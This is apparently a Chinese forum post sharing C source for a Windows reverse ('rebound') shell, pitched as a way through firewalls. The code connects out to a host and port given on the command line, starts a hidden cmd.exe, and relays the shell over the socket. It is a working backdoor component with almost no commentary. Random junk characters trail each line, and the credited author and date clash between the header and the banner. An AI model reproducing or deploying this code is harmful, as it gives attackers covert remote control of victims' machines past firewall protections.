这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ,l;
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/* ============================== N>ct`a)BD/
Rebound port in Windows NT z8Dn<h
By wind,2006/7 !kASEjFz|f
===============================*/ }~QB2&3
#include m1F<L
#include 5Tu#o()
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#pragma comment(lib,"wsock32.lib") .[2MPjg
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void OutputShell(); .j}u'!LKul
SOCKET sClient; 2z0HB+Y}x
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; mZ/B:)_
lBG*P>;
void main(int argc,char **argv) 82J0t}:U
{ fy_'K}i3k
WSADATA stWsaData; ]; ^OY\,
int nRet; #(aROTV5a
SOCKADDR_IN stSaiClient,stSaiServer;
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5)$U<^uy
if(argc != 3) 'R]Z9h
{ M5ZWcD.1
printf("Useage:\n\rRebound DestIP DestPort\n"); _hh|/4(
return; 3sp*.dk
} {f^30Fw
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WSAStartup(MAKEWORD(2,2),&stWsaData); "E''ZBLO~
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ljt1:@SN(
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stSaiClient.sin_family = AF_INET; !+hX$_RT
stSaiClient.sin_port = htons(0); VpVw:Rh>
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ['R=@.
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Z:/S@ry
{ qsk71L
printf("Bind Socket Failed!\n"); er#we=h
return; lZ)u4_
} }7.q[ ^oF
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stSaiServer.sin_family = AF_INET; M;iaNL(
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); l?FNYvL
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); C>K/C!5?
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) t9`NCng
5
{ \~?s= LT
printf("Connect Error!"); ~ml\|
return; FwW%@Y
} iMA) (ZS
OutputShell(); zfo.S[R@
} _-!6@^+
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void OutputShell() OT *W]f
{ .ERO*Tj
char szBuff[1024]; w`7l;7[
SECURITY_ATTRIBUTES stSecurityAttributes; $`=?Nb@@#
OSVERSIONINFO stOsversionInfo; YKx0Zs
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe;
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STARTUPINFO stStartupInfo; S~TJF}[k^6
char *szShell; P)\f\yb
PROCESS_INFORMATION stProcessInformation; 3\WES!
unsigned long lBytesRead; RsOK5XnQn
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); H~~(v52wD
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); >u/yp[Ky
stSecurityAttributes.lpSecurityDescriptor = 0; >b$<lo
stSecurityAttributes.bInheritHandle = TRUE;
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 3)-#yOr
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 8n:D#`K
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); l|fd,
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6h,'#|:d
stStartupInfo.wShowWindow = SW_HIDE; #[xNEC)
stStartupInfo.hStdInput = hReadPipe; Z*QRdB%,
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; N-Z 9
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GetVersionEx(&stOsversionInfo); /<2_K4(-{4
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switch(stOsversionInfo.dwPlatformId) Hb$q}1+y
{ mzw*6e2T
case 1: lxz %bC@
szShell = "command.com"; e5/_Vga
break; DVS7N_cx2o
default: ri^yal<'
szShell = "cmd.exe"; n$?oZ*;
break; [<`+9R
} Aa Ma9hvT!
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 'oEmbk8Hg
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send(sClient,szMsg,77,0); ie,{C
while(1) #Nd+X@j
{ 2X]\:<[4
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Fi`:G}
if(lBytesRead) M@K[i*e
{ Rta P+6'X
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); MDq @:t
send(sClient,szBuff,lBytesRead,0); +vnaEy
} 2uHp %fv;
else fI|1@e1
{ ?7+2i\L
lBytesRead=recv(sClient,szBuff,1024,0); p[eRK .$!
if(lBytesRead<=0) break; [n"<(~
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); v uP1gem
} {HU48v"W
} Cnr48ukq
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return; `otQ'e~+t
}